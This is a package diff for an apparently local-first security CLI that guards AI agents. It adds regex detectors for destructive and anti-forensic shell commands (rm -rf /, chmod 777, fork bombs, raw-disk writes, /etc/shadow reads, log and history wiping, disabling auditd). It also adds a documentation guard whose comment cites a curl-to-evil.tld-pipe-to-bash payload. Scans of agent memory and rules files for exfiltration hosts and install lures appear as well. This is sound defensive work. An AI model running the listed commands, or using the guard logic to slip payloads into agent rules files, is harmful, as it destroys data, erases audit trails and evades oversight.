@shomra/agent 0.3.15 → 0.3.16
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/guard-signals.mjs +105 -3
- package/package.json +1 -1
package/guard-signals.mjs
CHANGED
|
@@ -72,6 +72,21 @@ export const DANGEROUS_SHELL = [
|
|
|
72
72
|
{ name: 'Command output piped into a network call', re: /\b(curl|wget|invoke-restmethod|invoke-webrequest|irm|iwr)\b[^\n]{0,220}(\$\(|`[^`\n]+`|<\()/i, severity: 'HIGH' },
|
|
73
73
|
{ name: 'Fetches from a raw IP address', re: /\b(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\b[^\n]{0,220}https?:\/\/\d{1,3}(\.\d{1,3}){3}/i, severity: 'HIGH' },
|
|
74
74
|
{ name: 'Writes to shell profile / SSH keys / crontab', re: /(\.bashrc|\.zshrc|\.bash_profile|\.profile|authorized_keys|id_rsa\b|\bcrontab\b)/i, severity: 'HIGH' },
|
|
75
|
+
// World-writable permissions. Byte-identical to the backend rules
|
|
76
|
+
// (bundle/signals.ts) so the offline floor and the server never disagree:
|
|
77
|
+
// `chmod` previously had no command-level rule in EITHER, so `chmod -R 777 /`
|
|
78
|
+
// and `chmod 777 ~/.ssh` passed unscreened. The mode must grant WRITE to
|
|
79
|
+
// others, so `chmod +x` / 755 / 644 stay silent.
|
|
80
|
+
{
|
|
81
|
+
name: 'World-writable permissions on the filesystem root (chmod -R 777 /)',
|
|
82
|
+
re: /\bchmod\b(?=[^\n;|&]*(?:-[a-zA-Z]*R|--recursive))(?=[^\n;|&]*(?:\b0?[0-7][0-7][2367]\b|a\+rwx|a=rwx|o\+w|ugo\+rwx))(?=[^\n;|&]*\s\/(?:\s|\*|$))/i,
|
|
83
|
+
severity: 'CRITICAL',
|
|
84
|
+
},
|
|
85
|
+
{
|
|
86
|
+
name: 'World-writable permissions on a credential or system path (chmod 777)',
|
|
87
|
+
re: /\bchmod\b(?=[^\n;|&]*(?:\b0?[0-7][0-7][2367]\b|a\+rwx|a=rwx|o\+w|ugo\+rwx))(?=[^\n;|&]*(?:~(?:\s|$|\/\.)|\$HOME\b|\/etc\b|\/root\b|\/usr\b|\/var\b|\/boot\b|\.ssh\b|id_rsa\b|authorized_keys\b|\.aws\b|\.gnupg\b|\.kube\b))/i,
|
|
88
|
+
severity: 'HIGH',
|
|
89
|
+
},
|
|
75
90
|
{ name: 'Recursive force delete (rm -rf)', re: /\brm\s+-[a-z]*r[a-z]*f|\brm\s+-[a-z]*f[a-z]*r/i, severity: 'HIGH', refine: rmTargetsRealData },
|
|
76
91
|
// BARE `eval(`/`exec(` only — the lookbehind drops anything that merely ENDS in
|
|
77
92
|
// those letters: method calls (`db.exec(`, `RE.exec(`, `page.$eval(`, `$pdo->exec(`)
|
|
@@ -84,6 +99,33 @@ export const DANGEROUS_SHELL = [
|
|
|
84
99
|
{ name: 'python -c one-liner', re: /python[0-9.]*\s+-c\b/i, severity: 'MEDIUM' },
|
|
85
100
|
{ name: 'node -e one-liner', re: /\bnode\s+-e\b/i, severity: 'MEDIUM' },
|
|
86
101
|
{ name: 'Netcat / socket exfil', re: /\bnc\s+-[a-z]*\b|\bncat\b/i, severity: 'MEDIUM' },
|
|
102
|
+
// ⚠ ANTI-FORENSICS + DESTRUCTIVE INFRA — ported byte-identical from the backend
|
|
103
|
+
// (bundle/signals.ts). These eight had NO mirror counterpart, so the offline
|
|
104
|
+
// floor was silent on log-wiping, history-clearing, `terraform destroy
|
|
105
|
+
// -auto-approve`, bucket deletion and force-push over main. That is the
|
|
106
|
+
// "mirror LOOSER than server" direction: a hole in exactly the conditions
|
|
107
|
+
// Tier-0 exists for — backend unreachable, unenrolled, network blocked — which
|
|
108
|
+
// is also when an attacker most wants the audit trail gone. The parity bench
|
|
109
|
+
// now asserts SET COMPLETENESS, not just agreement on its samples.
|
|
110
|
+
{ name: 'Clears recorded shell history (anti-forensics)', re: /\bhistory\s+-c\b|\brm\b[^\n]{0,30}\.(bash|zsh|sh)_history\b|>\s*\S{0,30}\.(bash|zsh|sh)_history\b/i, severity: 'MEDIUM' },
|
|
111
|
+
{ name: 'Suppresses shell-history recording (anti-forensics)', re: /\bln\s+-s\S*\s+\/dev\/null\s+\S{0,40}\.(bash_|zsh_|sh_)?history\b|\bHISTFILE=\/dev\/null\b|\bunset\s+HISTFILE\b|\bexport\s+HIST(SIZE|FILESIZE)=0\b|\bset\s+\+o\s+history\b/i, severity: 'MEDIUM' },
|
|
112
|
+
{ name: 'Truncates a security / audit log (anti-forensics)', re: />\s*(\/var\/log\/(audit|secure|auth\.log|wtmp|btmp|lastlog|syslog|messages)|\/var\/(run|log)\/(wtmp|btmp|utmp))\b/i, severity: 'HIGH' },
|
|
113
|
+
{ name: 'Vacuums the systemd journal to erase records (anti-forensics)', re: /\bjournalctl\b[^\n]{0,40}--vacuum-(time|size)=/i, severity: 'MEDIUM' },
|
|
114
|
+
{ name: 'Wipes audit / security / login logs (anti-forensics)', re: /\b(rm|shred|unlink|truncate)\b[^\n]{0,60}(\/var\/log\/(audit|secure|auth\.log|wtmp|btmp|lastlog|syslog|messages|faillog|tallylog)|\/var\/(run|log)\/(wtmp|btmp|utmp))\b/i, severity: 'HIGH' },
|
|
115
|
+
{ name: 'Destroys managed infrastructure without confirmation (terraform destroy -auto-approve)', re: /\bterraform\b[^\n]{0,120}\bdestroy\b[^\n]{0,120}(-auto-approve|--auto-approve)/i, severity: 'HIGH' },
|
|
116
|
+
{ name: 'Force-deletes a cloud storage bucket (aws s3 rb --force)', re: /\b(aws\s+s3\s+rb|gsutil\s+(rm\s+-r|rb)|az\s+storage\s+(account|container)\s+delete)\b[^\n]{0,80}(--force|--yes|-f\b|\bs3:\/\/|\bgs:\/\/)/i, severity: 'HIGH' },
|
|
117
|
+
{ name: 'Force-pushes over a protected branch (rewrites shared history)', re: /\bgit\s+push\b[^\n]{0,80}(--force\b(?!-with-lease)|(?:^|\s)-f\b)[^\n]{0,60}\b(main|master|release|prod(uction)?)\b/i, severity: 'MEDIUM' },
|
|
118
|
+
// Destruction + credential + control-plane detectors, also byte-identical.
|
|
119
|
+
// ⚠ The root-wipe tier is CRITICAL and must be its own rule: the consolidated
|
|
120
|
+
// `rm -rf` rule below grades HIGH, and HIGH only flags where CRITICAL blocks —
|
|
121
|
+
// so `rm -rf /` was screened one severity short of a block offline.
|
|
122
|
+
{ name: 'Recursive force delete of the filesystem root (rm -rf /, --no-preserve-root)', re: /\brm\b(?=[^\n;|&]*(?:-[a-zA-Z]*r|--recursive))(?=[^\n;|&]*(?:-[a-zA-Z]*f|--force))(?=[^\n;|&]*(?:--no-preserve-root|\s\/(?:\s|\*|$)))/i, severity: 'CRITICAL' },
|
|
123
|
+
{ name: 'Fork bomb (process-exhaustion DoS)', re: /(:|\b[a-z_][a-z0-9_]*)\s*\(\s*\)\s*\{\s*\1\s*[^\n}]*\|\s*\1[^\n}]*&\s*\}\s*;\s*\1/i, severity: 'HIGH' },
|
|
124
|
+
{ name: 'Writes over a raw disk device (data destruction)', re: /\b(dd\b[^\n]{0,80}\bof=\/dev\/[sh]d|mkfs(\.\w+)?\s+[^\n]{0,40}\/dev\/|>\s*\/dev\/[sh]d[a-z])/i, severity: 'CRITICAL' },
|
|
125
|
+
{ name: 'Reads the system password-hash / sudo policy file', re: /\b(cat|less|more|head|tail|strings|xxd|od|grep|awk|sed|cp|scp|tar)\b[^\n]{0,80}\/etc\/(shadow|gshadow|sudoers(\.d)?)\b/i, severity: 'HIGH' },
|
|
126
|
+
{ name: 'Deletes a Kubernetes namespace / workload', re: /\bkubectl\b[^\n]{0,80}\bdelete\b[^\n]{0,80}\b(namespace|ns|deployment|statefulset|pvc|persistentvolumeclaim)\b/i, severity: 'MEDIUM' },
|
|
127
|
+
{ name: 'Drops a database / schema', re: /\bdrop\s+(database|schema|table)\b/i, severity: 'MEDIUM' },
|
|
128
|
+
{ name: 'Disables the audit / logging subsystem', re: /\b(systemctl|service)\s+(stop|disable|mask)\s+\S{0,20}(auditd|rsyslog|syslog|systemd-journald|journald)\b|\bauditctl\s+(-e\s*0|-D)\b|\bsetenforce\s+0\b|\bsystemctl\s+(stop|disable|mask)\s+firewalld\b/i, severity: 'HIGH' },
|
|
87
129
|
];
|
|
88
130
|
|
|
89
131
|
// ── injection ──
|
|
@@ -810,6 +852,49 @@ function isDescriptiveLine(line) {
|
|
|
810
852
|
return DESCRIPTIVE_MARKERS.test(line) && !IMPERATIVE.test(line);
|
|
811
853
|
}
|
|
812
854
|
|
|
855
|
+
// ── documentation guard ──
|
|
856
|
+
// Mirrors backend checks/prose-context.ts#isDocumentationLine. ⚠ The backend has
|
|
857
|
+
// applied this to its shell scan for months and the mirror never did, so the
|
|
858
|
+
// OFFLINE floor was STRICTER than the server — the asymmetric drift direction
|
|
859
|
+
// local-mirror-bench exists to catch, and the one with no recourse: a security-
|
|
860
|
+
// conscious CLAUDE.md that merely CITES `curl … | sh` was blocked at CRITICAL on
|
|
861
|
+
// the developer's machine, with "treat the writer as untrusted".
|
|
862
|
+
const ELLIPSIS_RE = /…|\.\.\./;
|
|
863
|
+
const REGEX_PATTERN_RE = /\\[sdwbSDWB]|\\\+|\\\*|\\\(|\\\||\(\?:|\.\*|\.\+/;
|
|
864
|
+
const CREDENTIAL_PATH_RE =
|
|
865
|
+
/~\/\.(ssh|aws|kube|gnupg|docker|npmrc?)\b|\bid_(rsa|ed25519|dsa)\b|\.pem\b|\bcredentials\b\s*(file)?|\bAWS_SECRET|\bANTHROPIC_API_KEY\b|\bOPENAI_API_KEY\b/i;
|
|
866
|
+
// ⚠ The line between a citation and a payload: `curl … | sh` NAMES the shape,
|
|
867
|
+
// `curl -fsSL https://evil.tld/i.sh | bash` PERFORMS it. Backticks and
|
|
868
|
+
// documentary wording are both free for an attacker to add, so neither may ever
|
|
869
|
+
// suppress a composition carrying a live target.
|
|
870
|
+
const EXECUTABLE_FETCH_RE =
|
|
871
|
+
/\b(?:curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\b[^\n]{0,200}?(?:https?:\/\/|\bwww\.|\b\d{1,3}(?:\.\d{1,3}){3}\b)[^\n]{0,200}?\|\s*(?:sudo\s+)?(?:(?:ba|z|k|da)?sh|python\d?|perl|ruby|node)\b/i;
|
|
872
|
+
|
|
873
|
+
function carriesHardEvidence(line) {
|
|
874
|
+
return CREDENTIAL_PATH_RE.test(line) || EXECUTABLE_FETCH_RE.test(line) || !!egressHost(line);
|
|
875
|
+
}
|
|
876
|
+
|
|
877
|
+
/** True when this line is prose ABOUT a command rather than a command. */
|
|
878
|
+
export function isDocumentationLine(line) {
|
|
879
|
+
if (!line) return false;
|
|
880
|
+
if (carriesHardEvidence(line)) return false;
|
|
881
|
+
if (ELLIPSIS_RE.test(line) || REGEX_PATTERN_RE.test(line)) return true;
|
|
882
|
+
return isDescriptiveLine(line);
|
|
883
|
+
}
|
|
884
|
+
|
|
885
|
+
/** The first line a signal matches that is NOT documentation, else null. */
|
|
886
|
+
function offendingLine(sig, text) {
|
|
887
|
+
const g = new RegExp(sig.re.source, sig.re.flags.includes('g') ? sig.re.flags : sig.re.flags + 'g');
|
|
888
|
+
for (const m of text.matchAll(g)) {
|
|
889
|
+
if (m.index == null) continue;
|
|
890
|
+
const line = lineTextAt(text, m.index);
|
|
891
|
+
if (sig.refine && !sig.refine(line)) continue;
|
|
892
|
+
if (isDocumentationLine(line)) continue;
|
|
893
|
+
return line;
|
|
894
|
+
}
|
|
895
|
+
return null;
|
|
896
|
+
}
|
|
897
|
+
|
|
813
898
|
/**
|
|
814
899
|
* The first line matching `re` that is a genuine directive — NOT a negated
|
|
815
900
|
* hardening rule ("never bypass safety") and NOT descriptive documentation
|
|
@@ -1014,7 +1099,14 @@ export function localMemory(content, { kind = 'MEMORY' } = {}) {
|
|
|
1014
1099
|
|
|
1015
1100
|
// Executable payload / egress sink / lifecycle-hook references have no business
|
|
1016
1101
|
// in a note or rules file.
|
|
1017
|
-
|
|
1102
|
+
// ⚠ Documentation-guarded, like the backend. A rules file DESCRIBING a payload
|
|
1103
|
+
// is not staging one.
|
|
1104
|
+
for (const sig of DANGEROUS_SHELL) {
|
|
1105
|
+
const line = offendingLine(sig, text);
|
|
1106
|
+
if (!line) continue;
|
|
1107
|
+
push(sig.severity === 'MEDIUM' || sig.severity === 'LOW' ? 'HIGH' : 'CRITICAL', `Executable payload staged in ${noun}: ${sig.name}`, `Delete the command from the ${noun}; treat the writer as untrusted.`, line);
|
|
1108
|
+
break;
|
|
1109
|
+
}
|
|
1018
1110
|
const host = egressHost(text);
|
|
1019
1111
|
if (host) push('HIGH', `${isInstruction ? 'Rules file' : 'Memory'} references a data-exfiltration host (${host})`, 'Remove the reference and roll back to the approved baseline.', host);
|
|
1020
1112
|
// Toxic flow: an IMPERATIVE line that names BOTH sensitive data and a network
|
|
@@ -1029,7 +1121,10 @@ export function localMemory(content, { kind = 'MEMORY' } = {}) {
|
|
|
1029
1121
|
if (toxicFlowLine) {
|
|
1030
1122
|
push('HIGH', `Toxic instruction in ${noun}: reads sensitive data + reaches the network`, 'Remove the entry; gate any network step behind explicit approval and an egress allow-list.', toxicFlowLine);
|
|
1031
1123
|
}
|
|
1032
|
-
|
|
1124
|
+
// Per-line + documentation-guarded: "regenerated on `postinstall`/`build`" in a
|
|
1125
|
+
// build-notes paragraph is prose about the toolchain, not a MemoryTrap.
|
|
1126
|
+
const lifecycleLine = text.split(/\r?\n/).find((l) => LIFECYCLE_VECTOR.test(l) && !isDocumentationLine(l));
|
|
1127
|
+
if (lifecycleLine) push('MEDIUM', `${isInstruction ? 'Rules file' : 'Memory'} references a package-lifecycle hook (MemoryTrap vector)`, 'Verify no dependency writes to this store during install; pin dependencies and audit lifecycle scripts.', lifecycleLine);
|
|
1033
1128
|
|
|
1034
1129
|
// Self-reinforcement: the entry arranges its own survival. Graded last and
|
|
1035
1130
|
// scored highest of the non-override signals, because it is the signal that
|
|
@@ -1123,7 +1218,14 @@ export function localGate(content, { kind, path } = {}) {
|
|
|
1123
1218
|
}
|
|
1124
1219
|
|
|
1125
1220
|
// Install-lure prose (Skills / commands / rules that coerce a download+run).
|
|
1126
|
-
|
|
1221
|
+
// Documentation-guarded per line, like the shell scan above: a build-notes
|
|
1222
|
+
// paragraph about re-running a flaky gate is prose, not a lure.
|
|
1223
|
+
for (const l of INSTALL_LURE) {
|
|
1224
|
+
const line = offendingLine(l, content || '');
|
|
1225
|
+
if (!line) continue;
|
|
1226
|
+
push(l.severity, l.name, 'Do not follow instructions that fetch and run out-of-band binaries.', line);
|
|
1227
|
+
break;
|
|
1228
|
+
}
|
|
1127
1229
|
|
|
1128
1230
|
// Over-permissioned tool grants in a Skill / command / subagent.
|
|
1129
1231
|
if (['skill', 'command', 'subagent', 'auto', undefined].includes(kind)) {
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@shomra/agent",
|
|
3
|
-
"version": "0.3.
|
|
3
|
+
"version": "0.3.16",
|
|
4
4
|
"description": "Shomra — adversarial assurance for AI agents, as a local-first CLI. Blocks dangerous tool-calls before they run, attacks your own guardrails to prove they hold, and gates AI artifacts in your editor and CI.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|